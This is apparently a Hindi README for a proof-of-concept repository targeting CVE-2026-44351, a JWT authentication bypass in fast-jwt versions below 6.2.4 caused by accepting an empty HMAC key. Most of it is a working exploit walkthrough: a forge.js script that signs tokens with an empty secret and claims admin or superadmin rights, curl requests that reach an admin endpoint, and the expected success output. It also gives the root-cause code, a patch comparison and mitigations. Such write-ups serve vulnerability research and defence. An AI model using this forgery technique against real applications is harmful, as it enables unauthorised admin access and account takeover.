CVE-2026-44351 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो fast-jwt <6.2.4 में एक ऑथेंटिकेशन बायपास है, जहाँ एक खाली HMAC key हमलावरों को मनमाने JWTs बनाने की अनुमति देती है जिन्हें वैध के रूप में स्वीकार किया जाता है।
fast-jwt में खाली Secret के कारण JWT फ़ोर्जरीfast-jwt (6.2.4 से पहले के संस्करणों) में प्रमाणीकरण बायपास (auth bypass) का PoC, जो किसी भी अप्रमाणित हमलावर को मनमाने JWTs फ़ोर्ज करने की अनुमति देता है और जिन्हें लक्ष्य एप्लिकेशन द्वारा प्रामाणिक के रूप में स्वीकार किया जाता है।
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (कुंजियों का अनुचित सत्यापन) / CWE-287 (अनुचित प्रमाणीकरण) / CWE-326 (अपर्याप्त एन्क्रिप्शन शक्ति) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vulnerable | fast-jwt < 6.2.4 (6.2.3 के विरुद्ध सत्यापित) |
| Patch | [email protected] — FAST_JWT_INVALID_KEY के साथ खाली HMAC कुंजियों को अस्वीकार करता है |
📄 विस्तृत तकनीकी दस्तावेज़ीकरण (वास्तविक कोड के साथ root cause, हमले की शारीरिक रचना, पैच का विश्लेषण):
docs/CVE-2026-44351.md
fast-jwt कुंजी रिज़ॉल्यूशन (key) के रूप में एक अतुल्यकालिक फ़ंक्शन पास करने की अनुमति देता है — JWKS सर्वर के साथ एकीकृत करते समय विशिष्ट पैटर्न:
const verify = createVerifier({
// पुस्तकालय द्वारा ही प्रलेखित मानक JWKS पैटर्न
key: async (decoded) => jwks[decoded.header.kid] || '',
})
जब आने वाले टोकन का kid मौजूद नहीं होता, तो वह पैटर्न '' लौटाता है। fast-jwt खाली स्ट्रिंग को शून्य लंबाई के Buffer (Buffer.alloc(0)) में परिवर्तित करता है, इसे crypto.createSecretKey को सौंपता है (Node इसे चुपचाप स्वीकार करता है) और खाली कुंजी के साथ HMAC का उपयोग करके टोकन की हस्ताक्षर सत्यापित करता है।
चूंकि HMAC-SHA256(key='', input='<header>.<payload>') किसी के द्वारा भी गणना योग्य है, हमलावर को वास्तविक रहस्य जानने की आवश्यकता नहीं है: वह अपनी इच्छानुसार दावों (sub, admin, roles, scopes, iss, aud, …) के साथ एक टोकन फ़ोर्ज करता है और सत्यापनकर्ता इसे प्रामाणिक के रूप में लौटाता है।
यह केवल अतुल्यकालिक कुंजी रिज़ॉल्यूशन पथ (फ़ंक्शन) को प्रभावित करता है। सिंक्रोनस कॉन्फ़िगरेशन
key: ''सही ढंग से अस्वीकार किया जाता है क्योंकिcreateVerifierfalsy मानों पर शॉर्ट-सर्किट करता है।
दोष src/verifier.js में निहित है। async key resolver के प्रवाह में:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// शाखा !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // HMAC परिवार असाइन किया जाता है
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (लंबाई जांच के बिना)
verifyToken(currentKey, decoded, validationContext)
})
और हस्ताक्षर src/crypto.js के साथ सत्यापित किया जाता है:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) काम करता है, इनपुट का HMAC हमलावर द्वारा गणना योग्य है और फ़ोर्ज किया गया टोकन स्वीकार कर लिया जाता है।
[email protected] के साथ सत्यापित)| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ स्वीकार करता है | ✅ स्वीकार करता है | ✅ स्वीकार करता है |
(d, cb) => cb(null, '') | (default) | ✅ स्वीकार करता है | ✅ स्वीकार करता है | ✅ स्वीकार करता है |
async d => keys[d.header.kid] || '' | (default) | ✅ स्वीकार करता है | ✅ स्वीकार करता है | ✅ स्वीकार करता है |
async () => '' | ['HS256','HS384','HS512'] | ✅ स्वीकार करता है | ✅ स्वीकार करता है | ✅ स्वीकार करता है |
async () => '' | ['HS256','RS256'] | ✅ स्वीकार करता है | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
हमला हाथ से निष्पादित किया जाता है: एकमात्र आर्टिफ़ैक्ट forge.js है, जो खाली कुंजी के साथ हस्ताक्षरित JWT बनाता है। भेजना और सत्यापन curl के साथ किया जाता है।
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target तैयार
Docker केवल कमजोर target चलाने के लिए है, शोषण के लिए नहीं। बाकी हमला मैनुअल है।
ऐप का एक वास्तविक JWT पहचानें (उदाहरण के लिए एक प्रमाणित अनुरोध से) और हस्ताक्षर को सत्यापित किए बिना उसका header/payload निरीक्षण करें:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
सत्यापित करने योग्य बिंदु:
kid प्रकट करता है → ऐप kid द्वारा कुंजियाँ हल करता है (संभवतः JWKS)।kid को 401 के साथ अस्वीकार करता है लेकिन
invalid algo/invalid key प्रस्तुत नहीं करता, तो resolver संभवतः keys[kid] || '' करता है।node forge.js # स्क्रीन पर टोकन + तैयार curl कमांड
node forge.js -o /tmp/jwt.txt # टोकन को फ़ाइल में सहेजता है
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
स्क्रिप्ट हमेशा चुने गए हेडर {alg, typ, kid} और payload को खाली कुंजी (secret: "") के साथ HMAC-SHA* का उपयोग करके हस्ताक्षरित करती है, ऐप के वास्तविक रहस्य को जाने बिना।
कॉपी किए गए टोकन के साथ (या फ़ाइल से पढ़ा गया):
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
यदि लक्ष्य कमजोर है तो अपेक्षित प्रतिक्रिया:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| मामला | कमांड | परिणाम |
|---|---|---|
| टोकन के बिना | curl -si http://localhost:3000/admin | 401 Unauthorized |
| अमान्य टोकन | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| फ़ोर्ज किया गया टोकन | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + admin पहुँच |
बायपास दावों को बदलकर और चरण 2–3 दोहराकर पुनरुत्पादन योग्य है (शोषण के बाद: role, scopes, अन्य sub, आदि तक बढ़ाना)।
कमजोर और पैच किए गए संस्करण के बीच त्वरित तुलना:
npm run demo # [email protected] -> फ़ोर्ज किया गया टोकन स्वीकृत
npm run fixed # [email protected] -> फ़ोर्ज किया गया टोकन अस्वीकृत (FAST_JWT_INVALID_KEY)
Docker में भी:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] या उच्चतर में अपडेट करें: prepareKeyOrSecret शून्य लंबाई की HMAC कुंजियों को FAST_JWT_INVALID_KEY के साथ अस्वीकार करता है।''/Buffer.alloc(0) न लौटाएँ:
undefined/null लौटाएँ और उस मामले को कुंजी रिज़ॉल्यूशन त्रुटि के रूप में व्यवहार करें।cache: false का उपयोग करें: सत्यापन कैश (डिफ़ॉल्ट रूप से 1000 प्रविष्टियाँ / 600s TTL) पहले स्वीकार किए गए फ़ोर्ज किए गए टोकन को बनाए रख सकता है।सर्वर एक प्रशासन कंसोल (public/) भी प्रदान करता है ताकि शोषण एक वास्तविक ऐप पर दिखाई दे: कॉर्पोरेट लॉगिन, दावों के साथ डैशबोर्ड, admin एक्सेस पैनल और एक एकीकृत Red Team दृश्य।
node server.js # या फिर से: docker compose up -d --build server
open http://localhost:3000
डेमो खाते:
| Password | भूमिका | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
ऐप एक वैध SaaS की नकल करता है:
POST /login वास्तविक रहस्य (kid: legit-kid) के साथ createSigner के माध्यम से हस्ताक्षरित JWT जारी करता है — signer कमजोर नहीं है।localStorage में सहेजता है और GET /admin को हिट करता है, जो कमजोर verifier का उपयोग करता है।'' के साथ HMAC-SHA256, RFC 2104 — WebCrypto शून्य लंबाई की कुंजियाँ स्वीकार नहीं करता) या node forge.js से टोकन पेस्ट करें और /admin का परीक्षण करें। admin: true के साथ यह 200 OK प्रतिक्रिया देता है → ब्राउज़र छोड़े बिना बायपास की पुष्टि।फ्रंटएंड केवल प्रस्तुति है: कमजोरी वही रहती है (
keys[kid] || ''के साथ async key resolver) और README केforge.js+curlके साथ मैनुअल हमला प्रवाह काम करना जारी रखता है।
.
├── Dockerfile fast-jwt 6.2.3 और 6.2.4 (fixed/) के साथ इमेज
├── docker-compose.yml सेवाएँ server / demo / fixed-demo (exploit के बिना)
├── .dockerignore build context से node_modules को बाहर रखता है
├── package.json निर्भरताएँ: [email protected] (कमजोर)
├── server.js कमजोर API (fallback || '' के साथ async key resolver) + /admin + /login + स्थिर
├── forge.js एकमात्र स्क्रिप्ट: खाली secret के साथ JWT बनाती है / टोकन का निरीक्षण करती है
├── demo.js [email protected] (कमजोर) के विरुद्ध लाइब्रेरी-स्तरीय डेमो
├── public/ फ्रंटएंड "वास्तविक ऐप" (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + client-side फ़ोर्जरी (शुद्ध JS में key '' के साथ HMAC-SHA256)
├── docs/
│ └── CVE-2026-44351.md तकनीकी दस्तावेज़ीकरण: इसमें क्या शामिल है, root cause, पैच
└── fixed/
├── package.json निर्भरताएँ: [email protected] (पैच किया गया)
└── demo.js [email protected] (पैच किया गया) के विरुद्ध वही डेमो
यह सामग्री केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। exploit का उपयोग केवल अपने स्वयं के अनुप्रयोगों के विरुद्ध या स्वामी की लिखित अनुमति के साथ करें। तीसरे पक्ष के सिस्टम के विरुद्ध इस तकनीक का अनधिकृत उपयोग अवैध है और इसके उपयोग की जिम्मेदारी उपयोगकर्ता की है।